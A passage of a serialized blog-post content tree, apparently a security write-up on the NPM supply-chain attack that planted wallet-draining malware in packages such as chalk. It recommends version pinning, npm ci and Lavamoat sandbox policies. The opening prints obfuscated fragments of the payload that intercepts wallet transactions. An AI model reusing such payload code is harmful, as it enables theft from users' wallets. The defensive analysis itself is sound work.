type":32,"value":11481},{"type":26,"tag":475,"props":98202,"children":98203},{"class":477,"line":744},[98204],{"type":26,"tag":475,"props":98205,"children":98206},{"style":499},[98207],{"type":32,"value":98208}," ) {\n",{"type":26,"tag":475,"props":98210,"children":98211},{"class":477,"line":753},[98212,98216],{"type":26,"tag":475,"props":98213,"children":98214},{"style":586},[98215],{"type":32,"value":69674},{"type":26,"tag":475,"props":98217,"children":98218},{"style":499},[98219],{"type":32,"value":579},{"type":26,"tag":475,"props":98221,"children":98222},{"class":477,"line":761},[98223,98227,98232,98236,98240,98244,98248,98252,98256],{"type":26,"tag":475,"props":98224,"children":98225},{"style":482},[98226],{"type":32,"value":7786},{"type":26,"tag":475,"props":98228,"children":98229},{"style":2375},[98230],{"type":32,"value":98231}," _0x5ad975",{"type":26,"tag":475,"props":98233,"children":98234},{"style":714},[98235],{"type":32,"value":2383},{"type":26,"tag":475,"props":98237,"children":98238},{"style":2375},[98239],{"type":32,"value":97891},{"type":26,"tag":475,"props":98241,"children":98242},{"style":499},[98243],{"type":32,"value":353},{"type":26,"tag":475,"props":98245,"children":98246},{"style":2375},[98247],{"type":32,"value":97900},{"type":26,"tag":475,"props":98249,"children":98250},{"style":499},[98251],{"type":32,"value":3440},{"type":26,"tag":475,"props":98253,"children":98254},{"style":903},[98255],{"type":32,"value":3732},{"type":26,"tag":475,"props":98257,"children":98258},{"style":499},[98259],{"type":32,"value":31274},{"type":26,"tag":475,"props":98261,"children":98262},{"class":477,"line":770},[98263,98267,98271,98276,98280,98285],{"type":26,"tag":475,"props":98264,"children":98265},{"style":586},[98266],{"type":32,"value":38978},{"type":26,"tag":475,"props":98268,"children":98269},{"style":499},[98270],{"type":32,"value":2775},{"type":26,"tag":475,"props":98272,"children":98273},{"style":2375},[98274],{"type":32,"value":98275},"_0x5ad975",{"type":26,"tag":475,"props":98277,"children":98278},{"style":499},[98279],{"type":32,"value":353},{"type":26,"tag":475,"props":98281,"children":98282},{"style":2375},[98283],{"type":32,"value":98284},"transaction",{"type":26,"tag":475,"props":98286,"children":98287},{"style":499},[98288],{"type":32,"value":676},{"type":26,"tag":475,"props":98290,"children":98291},{"class":477,"line":794},[98292,98297,98301,98305,98309,98313],{"type":26,"tag":475,"props":98293,"children":98294},{"style":2375},[98295],{"type":32,"value":98296}," _0x5ad975",{"type":26,"tag":475,"props":98298,"children":98299},{"style":714},[98300],{"type":32,"value":2383},{"type":26,"tag":475,"props":98302,"children":98303},{"style":2375},[98304],{"type":32,"value":98231},{"type":26,"tag":475,"props":98306,"children":98307},{"style":499},[98308],{"type":32,"value":353},{"type":26,"tag":475,"props":98310,"children":98311},{"style":2375},[98312],{"type":32,"value":98284},{"type":26,"tag":475,"props":98314,"children":98315},{"style":499},[98316],{"type":32,"value":2729},{"type":26,"tag":475,"props":98318,"children":98319},{"class":477,"line":831},[98320],{"type":26,"tag":475,"props":98321,"children":98322},{"style":499},[98323],{"type":32,"value":12372},{"type":26,"tag":475,"props":98325,"children":98326},{"class":477,"line":845},[98327,98331,98336,98340,98344,98348,98352,98356,98360],{"type":26,"tag":475,"props":98328,"children":98329},{"style":482},[98330],{"type":32,"value":31247},{"type":26,"tag":475,"props":98332,"children":98333},{"style":2375},[98334],{"type":32,"value":98335}," _0x5dbe63",{"type":26,"tag":475,"props":98337,"children":98338},{"style":714},[98339],{"type":32,"value":2383},{"type":26,"tag":475,"props":98341,"children":98342},{"style":493},[98343],{"type":32,"value":97960},{"type":26,"tag":475,"props":98345,"children":98346},{"style":499},[98347],{"type":32,"value":626},{"type":26,"tag":475,"props":98349,"children":98350},{"style":2375},[98351],{"type":32,"value":98275},{"type":26,"tag":475,"props":98353,"children":98354},{"style":499},[98355],{"type":32,"value":637},{"type":26,"tag":475,"props":98357,"children":98358},{"style":482},[98359],{"type":32,"value":7886},{"type":26,"tag":475,"props":98361,"children":98362},{"style":499},[98363],{"type":32,"value":3533},{"type":26,"tag":475,"props":98365,"children":98366},{"class":477,"line":854},[98367,98371,98375,98379,98383,98387,98391,98395,98399,98403],{"type":26,"tag":475,"props":98368,"children":98369},{"style":586},[98370],{"type":32,"value":38978},{"type":26,"tag":475,"props":98372,"children":98373},{"style":499},[98374],{"type":32,"value":2775},{"type":26,"tag":475,"props":98376,"children":98377},{"style":2375},[98378],{"type":32,"value":97865},{"type":26,"tag":475,"props":98380,"children":98381},{"style":499},[98382],{"type":32,"value":353},{"type":26,"tag":475,"props":98384,"children":98385},{"style":2375},[98386],{"type":32,"value":97900},{"type":26,"tag":475,"props":98388,"children":98389},{"style":499},[98390],{"type":32,"value":3440},{"type":26,"tag":475,"props":98392,"children":98393},{"style":903},[98394],{"type":32,"value":3732},{"type":26,"tag":475,"props":98396,"children":98397},{"style":499},[98398],{"type":32,"value":50041},{"type":26,"tag":475,"props":98400,"children":98401},{"style":2375},[98402],{"type":32,"value":98284},{"type":26,"tag":475,"props":98404,"children":98405},{"style":499},[98406],{"type":32,"value":676},{"type":26,"tag":475,"props":98408,"children":98409},{"class":477,"line":862},[98410,98415,98419,98423,98427,98431,98435,98439,98443,98447],{"type":26,"tag":475,"props":98411,"children":98412},{"style":2375},[98413],{"type":32,"value":98414}," _0x2c3d7e",{"type":26,"tag":475,"props":98416,"children":98417},{"style":499},[98418],{"type":32,"value":353},{"type":26,"tag":475,"props":98420,"children":98421},{"style":2375},[98422],{"type":32,"value":97900},{"type":26,"tag":475,"props":98424,"children":98425},{"style":499},[98426],{"type":32,"value":3440},{"type":26,"tag":475,"props":98428,"children":98429},{"style":903},[98430],{"type":32,"value":3732},{"type":26,"tag":475,"props":98432,"children":98433},{"style":499},[98434],{"type":32,"value":50041},{"type":26,"tag":475,"props":98436,"children":98437},{"style":2375},[98438],{"type":32,"value":98284},{"type":26,"tag":475,"props":98440,"children":98441},{"style":714},[98442],{"type":32,"value":2383},{"type":26,"tag":475,"props":98444,"children":98445},{"style":2375},[98446],{"type":32,"value":98335},{"type":26,"tag":475,"props":98448,"children":98449},{"style":499},[98450],{"type":32,"value":2729},{"type":26,"tag":475,"props":98452,"children":98453},{"class":477,"line":885},[98454,98458,98462],{"type":26,"tag":475,"props":98455,"children":98456},{"style":499},[98457],{"type":32,"value":38633},{"type":26,"tag":475,"props":98459,"children":98460},{"style":586},[98461],{"type":32,"value":3023},{"type":26,"tag":475,"props":98463,"children":98464},{"style":499},[98465],{"type":32,"value":579},{"type":26,"tag":475,"props":98467,"children":98468},{"class":477,"line":913},[98469,98473,98477,98481,98485,98489,98493,98497,98501],{"type":26,"tag":475,"props":98470,"children":98471},{"style":2375},[98472],{"type":32,"value":98414},{"type":26,"tag":475,"props":98474,"children":98475},{"style":499},[98476],{"type":32,"value":353},{"type":26,"tag":475,"props":98478,"children":98479},{"style":2375},[98480],{"type":32,"value":97900},{"type":26,"tag":475,"props":98482,"children":98483},{"style":499},[98484],{"type":32,"value":3440},{"type":26,"tag":475,"props":98486,"children":98487},{"style":903},[98488],{"type":32,"value":3732},{"type":26,"tag":475,"props":98490,"children":98491},{"style":499},[98492],{"type":32,"value":1699},{"type":26,"tag":475,"props":98494,"children":98495},{"style":714},[98496],{"type":32,"value":786},{"type":26,"tag":475,"props":98498,"children":98499},{"style":2375},[98500],{"type":32,"value":98335},{"type":26,"tag":475,"props":98502,"children":98503},{"style":499},[98504],{"type":32,"value":2729},{"type":26,"tag":475,"props":98506,"children":98507},{"class":477,"line":926},[98508],{"type":26,"tag":475,"props":98509,"children":98510},{"style":499},[98511],{"type":32,"value":12372},{"type":26,"tag":475,"props":98513,"children":98514},{"class":477,"line":948},[98515,98519,98523,98527,98532],{"type":26,"tag":475,"props":98516,"children":98517},{"style":499},[98518],{"type":32,"value":15484},{"type":26,"tag":475,"props":98520,"children":98521},{"style":586},[98522],{"type":32,"value":661},{"type":26,"tag":475,"props":98524,"children":98525},{"style":499},[98526],{"type":32,"value":2775},{"type":26,"tag":475,"props":98528,"children":98529},{"style":2375},[98530],{"type":32,"value":98531},"_0x4b99fd",{"type":26,"tag":475,"props":98533,"children":98534},{"style":499},[98535],{"type":32,"value":98061},{"type":26,"tag":475,"props":98537,"children":98538},{"class":477,"line":966},[98539],{"type":26,"tag":475,"props":98540,"children":98541},{"style":499},[98542],{"type":32,"value":5585},{"type":26,"tag":475,"props":98544,"children":98545},{"class":477,"line":979},[98546],{"type":26,"tag":475,"props":98547,"children":98548},{"style":499},[98549],{"type":32,"value":3607},{"type":26,"tag":41,"props":98551,"children":98553},{"id":98552},"impact-of-the-attack",[98554],{"type":32,"value":98555},"Impact of the Attack",{"type":26,"tag":35,"props":98557,"children":98558},{},[98559],{"type":32,"value":98560},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":26,"tag":27,"props":98562,"children":98564},{"id":98563},"why-it-will-happen-again",[98565],{"type":32,"value":98566},"Why It Will Happen Again",{"type":26,"tag":35,"props":98568,"children":98569},{},[98570],{"type":32,"value":98571},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":26,"tag":35,"props":98573,"children":98574},{},[98575],{"type":32,"value":98576},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":26,"tag":27,"props":98578,"children":98580},{"id":98579},"what-developers-can-do",[98581],{"type":32,"value":98582},"What Developers Can Do",{"type":26,"tag":35,"props":98584,"children":98585},{},[98586],{"type":32,"value":98587},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":26,"tag":41,"props":98589,"children":98591},{"id":98590},"_1-version-pinning-in-packagejson",[98592,98594],{"type":32,"value":98593},"1. Version pinning in ",{"type":26,"tag":53,"props":98595,"children":98597},{"className":98596},[],[98598],{"type":32,"value":98599},"package.json",{"type":26,"tag":35,"props":98601,"children":98602},{},[98603],{"type":32,"value":98604},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":26,"tag":35,"props":98606,"children":98607},{},[98608,98610,98616,98618,98623,98625,98630],{"type":32,"value":98609},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":26,"tag":53,"props":98611,"children":98613},{"className":98612},[],[98614],{"type":32,"value":98615},"npm install",{"type":32,"value":98617},". To pin it, just make sure to remove the caret ",{"type":26,"tag":53,"props":98619,"children":98621},{"className":98620},[],[98622],{"type":32,"value":48626},{"type":32,"value":98624}," symbol before the version in ",{"type":26,"tag":53,"props":98626,"children":98628},{"className":98627},[],[98629],{"type":32,"value":98599},{"type":32,"value":179},{"type":26,"tag":465,"props":98632,"children":98634},{"code":98633,"language":2489,"meta":7,"className":33693,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[98635],{"type":26,"tag":53,"props":98636,"children":98637},{"__ignoreMap":7},[98638,98659,98680,98701],{"type":26,"tag":475,"props":98639,"children":98640},{"class":477,"line":478},[98641,98646,98650,98655],{"type":26,"tag":475,"props":98642,"children":98643},{"style":629},[98644],{"type":32,"value":98645},"\"@react-native-async-storage/async-storage\"",{"type":26,"tag":475,"props":98647,"children":98648},{"style":499},[98649],{"type":32,"value":15037},{"type":26,"tag":475,"props":98651,"children":98652},{"style":629},[98653],{"type":32,"value":98654},"\"1.23.1\"",{"type":26,"tag":475,"props":98656,"children":98657},{"style":499},[98658],{"type":32,"value":2425},{"type":26,"tag":475,"props":98660,"children":98661},{"class":477,"line":516},[98662,98667,98671,98676],{"type":26,"tag":475,"props":98663,"children":98664},{"style":629},[98665],{"type":32,"value":98666},"\"@react-native-community/datetimepicker\"",{"type":26,"tag":475,"props":98668,"children":98669},{"style":499},[98670],{"type":32,"value":15037},{"type":26,"tag":475,"props":98672,"children":98673},{"style":629},[98674],{"type":32,"value":98675},"\"8.3.0\"",{"type":26,"tag":475,"props":98677,"children":98678},{"style":499},[98679],{"type":32,"value":2425},{"type":26,"tag":475,"props":98681,"children":98682},{"class":477,"line":539},[98683,98688,98692,98697],{"type":26,"tag":475,"props":98684,"children":98685},{"style":629},[98686],{"type":32,"value":98687},"\"@react-native-community/netinfo\"",{"type":26,"tag":475,"props":98689,"children":98690},{"style":499},[98691],{"type":32,"value":15037},{"type":26,"tag":475,"props":98693,"children":98694},{"style":629},[98695],{"type":32,"value":98696},"\"11.4.1\"",{"type":26,"tag":475,"props":98698,"children":98699},{"style":499},[98700],{"type":32,"value":2425},{"type":26,"tag":475,"props":98702,"children":98703},{"class":477,"line":548},[98704,98709,98713],{"type":26,"tag":475,"props":98705,"children":98706},{"style":629},[98707],{"type":32,"value":98708},"\"@react-native-picker/picker\"",{"type":26,"tag":475,"props":98710,"children":98711},{"style":499},[98712],{"type":32,"value":15037},{"type":26,"tag":475,"props":98714,"children":98715},{"style":629},[98716],{"type":32,"value":98717},"\"2.11.0\"\n",{"type":26,"tag":41,"props":98719,"children":98721},{"id":98720},"_2-use-npm-ci",[98722,98724],{"type":32,"value":98723},"2. Use ",{"type":26,"tag":53,"props":98725,"children":98727},{"className":98726},[],[98728],{"type":32,"value":98729},"npm ci",{"type":26,"tag":35,"props":98731,"children":98732},{},[98733,98738,98740,98746,98748,98753],{"type":26,"tag":53,"props":98734,"children":98736},{"className":98735},[],[98737],{"type":32,"value":98729},{"type":32,"value":98739}," uses the dependency versions from ",{"type":26,"tag":53,"props":98741,"children":98743},{"className":98742},[],[98744],{"type":32,"value":98745},"package-lock.json",{"type":32,"value":98747}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":26,"tag":53,"props":98749,"children":98751},{"className":98750},[],[98752],{"type":32,"value":98615},{"type":32,"value":98754}," when adding a new package or updating an existing one.",{"type":26,"tag":41,"props":98756,"children":98758},{"id":98757},"_3-implement-lavamoat",[98759,98761],{"type":32,"value":98760},"3. Implement ",{"type":26,"tag":116,"props":98762,"children":98765},{"href":98763,"rel":98764},"https://github.com/LavaMoat/LavaMoat/tree/main",[120],[98766],{"type":26,"tag":105,"props":98767,"children":98768},{},[98769],{"type":32,"value":98770},"Lavamoat",{"type":26,"tag":35,"props":98772,"children":98773},{},[98774],{"type":32,"value":98775},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":26,"tag":35,"props":98777,"children":98778},{},[98779],{"type":32,"value":98780},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":26,"tag":465,"props":98782,"children":98784},{"code":98783,"language":2489,"meta":7,"className":33693,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[98785],{"type":26,"tag":53,"props":98786,"children":98787},{"__ignoreMap":7},[98788,98800,98812,98823,98839,98846,98853,98865,98876,98896,98912,98919,98930,98950,98966,98973,98980],{"type":26,"tag":475,"props":98789,"children":98790},{"class":477,"line":478},[98791,98796],{"type":26,"tag":475,"props":98792,"children":98793},{"style":629},[98794],{"type":32,"value":98795},"\"resources\"",{"type":26,"tag":475,"props":98797,"children":98798},{"style":499},[98799],{"type":32,"value":36716},{"type":26,"tag":475,"props":98801,"children":98802},{"class":477,"line":516},[98803,98808],{"type":26,"tag":475,"props":98804,"children":98805},{"style":2375},[98806],{"type":32,"value":98807}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":26,"tag":475,"props":98809,"children":98810},{"style":499},[98811],{"type":32,"value":36716},{"type":26,"tag":475,"props":98813,"children":98814},{"class":477,"line":539},[98815,98819],{"type":26,"tag":475,"props":98816,"children":98817},{"style":2375},[98818],{"type":32,"value":36724},{"type":26,"tag":475,"props":98820,"children":98821},{"style":499},[98822],{"type":32,"value":36716},{"type":26,"tag":475,"props":98824,"children":98825},{"class":477,"line":548},[98826,98831,98835],{"type":26,"tag":475,"props":98827,"children":98828},{"style":2375},[98829],{"type":32,"value":98830}," \"TextEncoder\"",{"type":26,"tag":475,"props":98832,"children":98833},{"style":499},[98834],{"type":32,"value":15037},{"type":26,"tag":475,"props":98836,"children":98837},{"style":482},[98838],{"type":32,"value":36885},{"type":26,"tag":475,"props":98840,"children":98841},{"class":477,"line":558},[98842],{"type":26,"tag":475,"props":98843,"children":98844},{"style":499},[98845],{"type":32,"value":12372},{"type":26,"tag":475,"props":98847,"children":98848},{"class":477,"line":582},[98849],{"type":26,"tag":475,"props":98850,"children":98851},{"style":499},[98852],{"type":32,"value":25082},{"type":26,"tag":475,"props":98854,"children":98855},{"class":477,"line":596},[98856,98861],{"type":26,"tag":475,"props":98857,"children":98858},{"style":2375},[98859],{"type":32,"value":98860}," \"@ethereumjs/util\"",{"type":26,"tag":475,"props":98862,"children":98863},{"style":499},[98864],{"type":32,"value":36716},{"type":26,"tag":475,"props":98866,"children":98867},{"class":477,"line":610},[98868,98872],{"type":26,"tag":475,"props":98869,"children":98870},{"style":2375},[98871],{"type":32,"value":36724},{"type":26,"tag":475,"props":98873,"children":98874},{"style":499},[98875],{"type":32,"value":36716},{"type":26,"tag":475,"props":98877,"children":98878},{"class":477,"line":650},[98879,98884,98888,98892],{"type":26,"tag":475,"props":98880,"children":98881},{"style":2375},[98882],{"type":32,"value":98883}," \"console.warn\"",{"type":26,"tag":475,"props":98885,"children":98886},{"style":499},[98887],{"type":32,"value":15037},{"type":26,"tag":475,"props":98889,"children":98890},{"style":482},[98891],{"type":32,"value":3703},{"type":26,"tag":475,"props":98893,"children":98894},{"style":499},[98895],{"type":32,"value":2425},{"type":26,"tag":475,"props":98897,"children":98898},{"class":477,"line":679},[98899,98904,98908],{"type":26,"tag":475,"props":98900,"children":98901},{"style":2375},[98902],{"type":32,"value":98903}," \"fetch\"",{"type":26,"tag":475,"props":98905,"children":98906},{"style":499},[98907],{"type":32,"value":15037},{"type":26,"tag":475,"props":98909,"children":98910},{"style":482},[98911],{"type":32,"value":36885},{"type":26,"tag":475,"props":98913,"children":98914},{"class":477,"line":735},[98915],{"type":26,"tag":475,"props":98916,"children":98917},{"style":499},[98918],{"type":32,"value":36893},{"type":26,"tag":475,"props":98920,"children":98921},{"class":477,"line":744},[98922,98926],{"type":26,"tag":475,"props":98923,"children":98924},{"style":2375},[98925],{"type":32,"value":36901},{"type":26,"tag":475,"props":98927,"children":98928},{"style":499},[98929],{"type":32,"value":36716},{"type":26,"tag":475,"props":98931,"children":98932},{"class":477,"line":753},[98933,98938,98942,98946],{"type":26,"tag":475,"props":98934,"children":98935},{"style":2375},[98936],{"type":32,"value":98937}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":26,"tag":475,"props":98939,"children":98940},{"style":499},[98941],{"type":32,"value":15037},{"type":26,"tag":475,"props":98943,"children":98944},{"style":482},[98945],{"type":32,"value":3703},{"type":26,"tag":475,"props":98947,"children":98948},{"style":499},[98949],{"type":32,"value":2425},{"type":26,"tag":475,"props":98951,"children":98952},{"class":477,"line":761},[98953,98958,98962],{"type":26,"tag":475,"props":98954,"children":98955},{"style":2375},[98956],{"type":32,"value":98957}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":26,"tag":475,"props":98959,"children":98960},{"style":499},[98961],{"type":32,"value":15037},{"type":26,"tag":475,"props":98963,"children":98964},{"style":482},[98965],{"type":32,"value":36885},{"type":26,"tag":475,"props":98967,"children":98968},{"class":477,"line":770},[98969],{"type":26,"tag":475,"props":98970,"children":98971},{"style":499},[98972],{"type":32,"value":12372},{"type":26,"tag":475,"props":98974,"children":98975},{"class":477,"line":794},[98976],{"type":26,"tag":475,"props":98977,"children":98978},{"style":499},[98979],{"type":32,"value":851},{"type":26,"tag":475,"props":98981,"children":98982},{"class":477,"line":831},[98983],{"type":26,"tag":475,"props":98984,"children":98985},{"style":499},[98986],{"type":32,"value":3607},{"type":26,"tag":35,"props":98988,"children":98989},{},[98990,98992,98998,99000,99006,99007,99012,99014,99020,99021,99027],{"type":32,"value":98991},"In this example, it restricts the ",{"type":26,"tag":53,"props":98993,"children":98995},{"className":98994},[],[98996],{"type":32,"value":98997},"@ethereumjs/util",{"type":32,"value":98999}," package to use only ",{"type":26,"tag":53,"props":99001,"children":99003},{"className":99002},[],[99004],{"type":32,"value":99005},"console.warn",{"type":32,"value":209},{"type":26,"tag":53,"props":99008,"children":99010},{"className":99009},[],[99011],{"type":32,"value":33791},{"type":32,"value":99013}," functions, and to include only ",{"type":26,"tag":53,"props":99015,"children":99017},{"className":99016},[],[99018],{"type":32,"value":99019},"@ethereumjs/rlp",{"type":32,"value":209},{"type":26,"tag":53,"props":99022,"children":99024},{"className":99023},[],[99025],{"type":32,"value":99026},"ethereum-cryptography",{"type":32,"value":99028}," packages.",{"type":26,"tag":35,"props":99030,"children":99031},{},[99032],{"type":32,"value":99033},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":26,"tag":35,"props":99035,"children":99036},{},[99037,99039,99045],{"type":32,"value":99038},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":26,"tag":116,"props":99040,"children":99043},{"href":99041,"rel":99042},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[120],[99044],{"type":32,"value":37071},{"type":32,"value":353},{"type":26,"tag":41,"props":99047,"children":99049},{"id":99048},"lavamoat-vs-qix-malware",[99050],{"type":32,"value":99051},"Lavamoat vs Qix Malware",{"type":26,"tag":35,"props":99053,"children":99054},{},[99055,99057,99062],{"type":32,"value":99056},"If a dApp were compromised with the Qix malware (say it used ",{"type":26,"tag":53,"props":99058,"children":99060},{"className":99059},[],[99061],{"type":32,"value":96903},{"type":32,"value":99063},"), it would need to perform the following actions to drain funds from a wallet:",{"type":26,"tag":181,"props":99065,"children":99066},{},[99067,99079,99090,99101],{"type":26,"tag":86,"props":99068,"children":99069},{},[99070,99072,99077],{"type":32,"value":99071},"Replace ",{"type":26,"tag":53,"props":99073,"children":99075},{"className":99074},[],[99076],{"type":32,"value":33791},{"type":32,"value":99078}," function to a custom one",{"type":26,"tag":86,"props":99080,"children":99081},{},[99082,99084],{"type":32,"value":99083},"Access ",{"type":26,"tag":53,"props":99085,"children":99087},{"className":99086},[],[99088],{"type":32,"value":99089},"window.ethereum",{"type":26,"tag":86,"props":99091,"children":99092},{},[99093,99095,99100],{"type":32,"value":99094},"Call original ",{"type":26,"tag":53,"props":99096,"children":99098},{"className":99097},[],[99099],{"type":32,"value":33791},{"type":32,"value":37907},{"type":26,"tag":86,"props":99102,"children":99103},{},[99104],{"type":32,"value":99105},"Plus other actions not relevant here",{"type":26,"tag":35,"props":99107,"children":99108},{},[99109,99111,99117],{"type":32,"value":99110},"If the dApp is using Lavamoat with a generated policy for ",{"type":26,"tag":53,"props":99112,"children":99114},{"className":99113},[],[99115],{"type":32,"value":99116},"chalk 5.6.0",{"type":32,"value":99118}," (non-malicious version) it would look like this:",{"type":26,"tag":465,"props":99120,"children":99122},{"code":99121,"language":2489,"meta":7,"className":33693,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[99123],{"type":26,"tag":53,"props":99124,"children":99125},{"__ignoreMap":7},[99126,99138,99149,99169,99185,99192],{"type":26,"tag":475,"props":99127,"children":99128},{"class":477,"line":478},[99129,99134],{"type":26,"tag":475,"props":99130,"children":99131},{"style":629},[99132],{"type":32,"value":99133},"\"chalk\"",{"type":26,"tag":475,"props":99135,"children":99136},{"style":499},[99137],{"type":32,"value":36716},{"type":26,"tag":475,"props":99139,"children":99140},{"class":477,"line":516},[99141,99145],{"type":26,"tag":475,"props":99142,"children":99143},{"style":2375},[99144],{"type":32,"value":36724},{"type":26,"tag":475,"props":99146,"children":99147},{"style":499},[99148],{"type":32,"value":36716},{"type":26,"tag":475,"props":99150,"children":99151},{"class":477,"line":539},[99152,99157,99161,99165],{"type":26,"tag":475,"props":99153,"children":99154},{"style":2375},[99155],{"type":32,"value":99156}," \"navigator.userAgent\"",{"type":26,"tag":475,"props":99158,"children":99159},{"style":499},[99160],{"type":32,"value":15037},{"type":26,"tag":475,"props":99162,"children":99163},{"style":482},[99164],{"type":32,"value":3703},{"type":26,"tag":475,"props":99166,"children":99167},{"style":499},[99168],{"type":32,"value":2425},{"type":26,"tag":475,"props":99170,"children":99171},{"class":477,"line":548},[99172,99177,99181],{"type":26,"tag":475,"props":99173,"children":99174},{"style":2375},[99175],{"type":32,"value":99176}," \"navigator.userAgentData\"",{"type":26,"tag":475,"props":99178,"children":99179},{"style":499},[99180],{"type":32,"value":15037},{"type":26,"tag":475,"props":99182,"children":99183},{"style":482},[99184],{"type":32,"value":36885},{"type":26,"tag":475,"props":99186,"children":99187},{"class":477,"line":558},[99188],{"type":26,"tag":475,"props":99189,"children":99190},{"style":499},[99191],{"type":32,"value":12372},{"type":26,"tag":475,"props":99193,"children":99194},{"class":477,"line":582},[99195],{"type":26,"tag":475,"props":99196,"children":99197},{"style":499},[99198],{"type":32,"value":25082},{"type":26,"tag":35,"props":99200,"children":99201},{},[99202,99204,99210],{"type":32,"value":99203},"That means that the chalk dependency can only access these two global attributes from ",{"type":26,"tag":53,"props":99205,"children":99207},{"className":99206},[],[99208],{"type":32,"value":99209},"navigator",{"type":32,"value":353},{"type":26,"tag":35,"props":99212,"children":99213},{},[99214,99216,99222],{"type":32,"value":99215},"When the compromised dApp would execute the malicious payload of ",{"type":26,"tag":53,"props":99217,"children":99219},{"className":99218},[],[99220],{"type":32,"value":99221},"chalk v5.6.1",{"type":32,"value":99223}," it would fail due to insufficient permissions:",{"type":26,"tag":35,"props":99225,"children":99226},{},[99227],{"type":26,"tag":132,"props":99228,"children":99230},{"alt":134,"src":99229},"/posts/supply-chain-attcks/error.png",[],{"type":26,"tag":35,"props":99232,"children":99233},{},[99234,99236,99241],{"type":32,"value":99235},"This error shows that the malware failed since it cannot redefine ",{"type":26,"tag":53,"props":99237,"children":99239},{"className":99238},[],[99240],{"type":32,"value":33791},{"type":32,"value":25169},{"type":26,"tag":465,"props":99243,"children":99245},{"code":99244},"TypeError#1: Cannot define property fetch, object is not extensible\n",[99246],{"type":26,"tag":53,"props":99247,"children":99248},{"__ignoreMap":7},[99249],{"type":32,"value":99244},{"type":26,"tag":27,"props":99251,"children":99253},{"id":99252},"lavamoat-in-practice",[99254],{"type":32,"value":99255},"Lavamoat In Practice",{"type":26,"tag":35,"props":99257,"children":99258},{},[99259,99261,99268],{"type":32,"value":99260},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":26,"tag":116,"props":99262,"children":99265},{"href":99263,"rel":99264},"https://osec.io/reports/lavamoat_audit_final.pdf",[120],[99266],{"type":32,"value":99267},"see the audit report",{"type":32,"value":20450},{"type":26,"tag":35,"props":99270,"children":99271},{},[99272],{"type":32,"value":99273},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":26,"tag":27,"props":99275,"children":99276},{"id":75426},[99277],{"type":32,"value":75429},{"type":26,"tag":35,"props":99279,"children":99280},{},[99281],{"type":32,"value":99282},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":26,"tag":35,"props":99284,"children":99285},{},[99286,99288,99293],{"type":32,"value":99287},"Version pinning and ",{"type":26,"tag":53,"props":99289,"children":99291},{"className":99290},[],[99292],{"type":32,"value":98729},{"type":32,"value":99294}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":26,"tag":2548,"props":99296,"children":99297},{},[99298],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":99300},[99301,99304,99305,99314,99315],{"id":96918,"depth":516,"text":96921,"children":99302},[99303],{"id":98552,"depth":539,"text":98555},{"id":98563,"depth":516,"text":98566},{"id":98579,"depth":516,"text":98582,"children":99306},[99307,99309,99311,99313],{"id":98590,"depth":539,"text":99308},"1. Version pinning in package.json",{"id":98720,"depth":539,"text":99310},"2. Use npm ci",{"id":98757,"depth":539,"text":99312},"3. Implement 